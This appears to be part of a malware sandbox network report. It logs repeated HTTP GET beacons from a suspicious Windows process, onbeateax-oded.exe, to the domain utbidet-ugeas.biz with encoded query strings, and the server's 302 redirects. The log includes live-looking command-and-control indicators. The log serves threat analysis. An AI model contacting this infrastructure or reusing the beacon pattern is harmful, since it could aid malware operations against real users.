Sep 7, 2024 15:30:12.678222895 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:11 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02C33B546EC33B546EF23B786EC33BF6F4011DC868C23B94C6C13C6240F1156D5CF30B7A6E Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.7	49769	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:13.660737038 CEST	169	OUT	GET /d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:14.151021957 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:14 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49770	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:14.162961006 CEST	201	OUT	GET /d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:14.657762051 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:14 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0216B3BEE316B3BEE327B392E316B31C79D49522E517B37E4B14B488CD249D87D1268390E3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49772	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:16.935538054 CEST	169	OUT	GET /d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:17.450083017 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:17 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	49773	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:17.464756012 CEST	201	OUT	GET /d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:17.961020947 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:17 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?029428475294284752A5286B529428E5C8560EDB54952887FA962F717CA6067E60A4186952 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	49775	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:18.145210028 CEST	169	OUT	GET /d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:18.614765882 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:18 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	49776	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:18.622504950 CEST	201	OUT	GET /d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:19.106137037 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:19 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023F5ADE873F5ADE870E5AF2873F5A7C1DFD7C42813E5A1E2F3D5DE8A90D74E7B50F6AF087 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	49778	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:20.176423073 CEST	169	OUT	GET /d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:20.654943943 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:20 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	49779	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:20.668616056 CEST	201	OUT	GET /d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:21.163606882 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:21 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02636B9C86636B9C86526BB086636B3E1CA14D0080626B5C2E616CAAA85145A5B4535BB286 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	49781	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:23.296232939 CEST	169	OUT	GET /d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:23.790201902 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:23 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	49782	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:23.810664892 CEST	201	OUT	GET /d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:24.295131922 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:24 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?0222311BC222311BC2133137C22231B958E01787C42331DB6A20362DEC101F22F0120135C2 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49784	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:25.062988997 CEST	169	OUT	GET /d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:25.560272932 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:25 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49785	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:25.568613052 CEST	201	OUT	GET /d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:26.051651955 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:25 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02923CBB35923CBB35A33C9735923C19AF501A2733933C7B9D903B8D1BA0128207A20C9535 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49787	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:26.205873966 CEST	169	OUT	GET /d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:26.696897984 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:26 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	49788	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:26.704111099 CEST	201	OUT	GET /d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
Sep 7, 2024 15:30:27.197314024 CEST	546	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:27 GMT Content-Type: text/html Content-Length: 142 Connection: keep-alive Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?02ECCDBF0DECCDBF0DDDCD930DECCD1D972EEB230BEDCD7FA5EECA8923DEE3863FDCFD910D Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49790	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:27.567073107 CEST	169	OUT	GET /d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 HTTP/1.0 Host: utbidet-ugeas.biz User-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Sep 7, 2024 15:30:28.056838989 CEST	541	IN	HTTP/1.1 302 Moved Temporarily Server: openresty Date: Sat, 07 Sep 2024 13:30:27 GMT Content-Type: text/html Content-Length: 142 Connection: close Accept-CH: Sec-CH-UA, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version, Sec-CH-UA-Mobile Location: http://ww99.utbidet-ugeas.biz/d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 Cache-Control: no-store, max-age=0 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	49791	172.234.222.143	80	6404	C:\Windows\SysWOW64\onbeateax-oded.exe

Timestamp	Bytes transferred	Direction	Data
Sep 7, 2024 15:30:28.065747023 CEST	201	OUT	GET /d/N?023F0116D33F0116D30E013AD33F01B449FD278AD53E01D67B3D0620FD0D2F2FE10F3138D3 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32) Host: utbidet-ugeas.biz Cache-Control: no-cache
